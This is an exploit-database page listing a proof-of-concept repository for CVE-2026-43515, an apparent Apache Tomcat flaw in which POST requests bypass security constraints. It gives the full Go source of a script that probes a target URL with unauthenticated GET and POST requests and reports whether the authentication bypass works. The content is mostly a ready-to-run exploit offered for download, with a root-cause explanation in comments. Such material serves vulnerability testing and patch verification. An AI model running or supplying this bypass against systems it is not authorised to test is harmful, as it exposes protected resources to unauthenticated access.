Exploit database

GH-6628d7a83a9fb09e3ae8d59ce19a4a42

covepseng/cve-2026-43515-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43515

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files1
covepseng/cve-2026-43515-pocRevision 59c981bd4cc9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/exploit.go

Go · 8,508 bytes
// exploit.go — CVE-2026-43515 PoC
//
// Apache Tomcat security constraints not correctly applied for multiple
// <web-resource-collection> blocks sharing the same extension pattern.
//
// Root cause (RealmBase.findSecurityConstraints):
//   The `matched` flag and the `pos` index were declared OUTSIDE the
//   per-collection loop.  As soon as any collection matched the extension
//   pattern, `pos` was frozen to that collection's index; subsequent
//   collections in the same constraint were never consulted.  HTTP methods
//   from collection[1..n] were therefore treated as unconstrained and served
//   without authentication.
//
// Affected:  Tomcat 8.5.0–8.5.100, 9.0.0.M1–9.0.117,
//            10.1.0-M1–10.1.54, 11.0.0-M1–11.0.21
// Fixed in:  Tomcat 8.5.101, 9.0.118, 10.1.55, 11.0.22
//
// Usage:
//   go run exploit.go -target http://localhost:8080 -path /protected/secret.html
//
// Default target is localhost:8080 (ROOT context).
// The exploit performs three probes and prints a verdict:
//   [1] GET  /protected/secret.html  (no credentials)  → expected 401
//   [2] POST /protected/secret.html  (no credentials)  → 200 on vulnerable Tomcat
//   [3] GET  /protected/secret.html  (with credentials) → 200 (sanity check)

package main

import (
	"encoding/base64"
	"flag"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"strings"
	"time"
)

// probeResult holds the outcome of a single HTTP probe.
type probeResult struct {
	method     string
	statusCode int
	body       string
	authed     bool
}

// probe sends a single HTTP request and returns its result.
// It deliberately follows no redirects so that 3xx responses are visible.
func probe(client *http.Client, method, url, username, password string) probeResult {
	req, err := http.NewRequest(method, url, strings.NewReader(""))
	if err != nil {
		log.Fatalf("failed to build request: %v", err)
	}

	authed := username != "" && password != ""
	if authed {
		token := base64.StdEncoding.EncodeToString(
			[]byte(username + ":" + password),
		)
		req.Header.Set("Authorization", "Basic "+token)
	}

	// A POST without a body still needs a Content-Type to avoid Tomcat
	// returning 400 on some versions.
	if method == http.MethodPost {
		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
	}

	resp, err := client.Do(req)
	if err != nil {
		log.Fatalf("request failed: %v", err)
	}
	defer resp.Body.Close()

	raw, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
	return probeResult{
		method:     method,
		statusCode: resp.StatusCode,
		body:       string(raw),
		authed:     authed,
	}
}

// printResult prints a formatted result line.
func printResult(step int, r probeResult, expectBypass bool) {
	authLabel := "no credentials"
	if r.authed {
		authLabel = "with credentials"
	}

	status := fmt.Sprintf("HTTP %d", r.statusCode)
	verdict := ""

	switch {
	case expectBypass && r.statusCode == http.StatusOK:
		verdict = "  ← ✗ BYPASS CONFIRMED — constraint not enforced for " + r.method
	case expectBypass && r.statusCode == http.StatusUnauthorized:
		verdict = "  ← ✓ constraint correctly enforced (patched?)"
	case !expectBypass && r.statusCode == http.StatusUnauthorized:
		verdict = "  ← ✓ constraint enforced as expected"
	case !expectBypass && r.statusCode == http.StatusOK:
		verdict = "  ← ✓ authenticated access granted"
	default:
		verdict = fmt.Sprintf("  ← unexpected status")
	}

	fmt.Printf("[%d] %-6s (%s) → %s%s\n", step, r.method, authLabel, status, verdict)
}

func main() {
	target := flag.String("target", "http://localhost:8080", "Base URL of the Tomcat instance (ROOT context)")
	resource := flag.String("path", "/protected/secret.html", "Path to the protected resource")
	username := flag.String("username", "validuser", "Valid username for the sanity-check probe")
	password := flag.String("password", "s3cret!", "Password for the sanity-check probe")
	flag.Parse()

	targetURL := strings.TrimRight(*target, "/") + "/" + strings.TrimLeft(*resource, "/")

	fmt.Println("═══════════════════════════════════════════════════")
	fmt.Println(" CVE-2026-43515 — Apache Tomcat Constraint Bypass")
	fmt.Println("═══════════════════════════════════════════════════")
	fmt.Printf(" Target : %s\n", targetURL)
	fmt.Println("───────────────────────────────────────────────────")
	fmt.Println()

	client := &http.Client{
		Timeout: 10 * time.Second,
		// Do not follow redirects; we want the raw 3xx/401.
		CheckRedirect: func(_ *http.Request, _ []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	// ── Probe 1: GET without credentials ────────────────────────────────────
	// The first <web-resource-collection> covers GET, so even on vulnerable
	// Tomcat this should return 401 — confirming the constraint IS applied to
	// collection[0].
	fmt.Println("Probe 1 — GET without credentials")
	fmt.Println("  Expected: 401 (constraint applied to collection[0])")
	r1 := probe(client, http.MethodGet, targetURL, "", "")
	printResult(1, r1, false /* not a bypass attempt */)
	fmt.Println()

	// ── Probe 2: POST without credentials ───────────────────────────────────
	// The second <web-resource-collection> covers POST, but on vulnerable
	// Tomcat it is silently ignored because `matched` was set by the GET
	// collection and `pos` was frozen to collection[0].  The method check
	// therefore uses collection[0].findMethod("POST") → false, so no
	// constraint is returned, and the request is served without auth.
	fmt.Println("Probe 2 — POST without credentials  ← the exploit probe")
	fmt.Println("  Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)")
	r2 := probe(client, http.MethodPost, targetURL, "", "")
	printResult(2, r2, true /* bypass attempt */)
	fmt.Println()

	// ── Probe 3: GET with valid credentials ─────────────────────────────────
	// Sanity check: authenticate as a user with role1 to confirm the
	// resource is reachable at all and that the credential set is correct.
	fmt.Println("Probe 3 — GET with valid credentials (sanity check)")
	fmt.Println("  Expected: 200 (authenticated access granted)")
	r3 := probe(client, http.MethodGet, targetURL, *username, *password)
	printResult(3, r3, false)
	fmt.Println()

	// ── Final verdict ────────────────────────────────────────────────────────
	fmt.Println("───────────────────────────────────────────────────")
	switch {
	case r1.statusCode == http.StatusUnauthorized &&
		r2.statusCode == http.StatusOK &&
		r3.statusCode == http.StatusOK:

		fmt.Println("VERDICT: VULNERABLE")
		fmt.Println()
		fmt.Println("  GET  is correctly blocked (401).")
		fmt.Println("  POST bypasses the constraint entirely (200).")
		fmt.Println("  Authenticated GET succeeds (200) — credentials are valid.")
		fmt.Println()
		fmt.Println("  Root cause: RealmBase.findSecurityConstraints() pinned `pos`")
		fmt.Println("  to the first matching collection and never evaluated POST's")
		fmt.Println("  collection[1].findMethod(\"POST\"), so no SecurityConstraint")
		fmt.Println("  was returned for POST requests and the resource was served")
		fmt.Println("  without invoking the <auth-constraint>.")

	case r1.statusCode == http.StatusUnauthorized &&
		r2.statusCode == http.StatusUnauthorized:

		fmt.Println("VERDICT: NOT VULNERABLE (or constraint misconfigured)")
		fmt.Println()
		fmt.Println("  Both GET and POST are correctly blocked (401).")
		fmt.Println("  The Tomcat instance appears to be patched.")

	default:
		fmt.Printf("VERDICT: INCONCLUSIVE (GET=%d, POST=%d, authed GET=%d)\n",
			r1.statusCode, r2.statusCode, r3.statusCode)
		fmt.Println()
		fmt.Println("  Unexpected status codes — check that the lab container is")
		fmt.Println("  running and that -target / -app / -path flags are correct.")
		os.Exit(2)
	}
}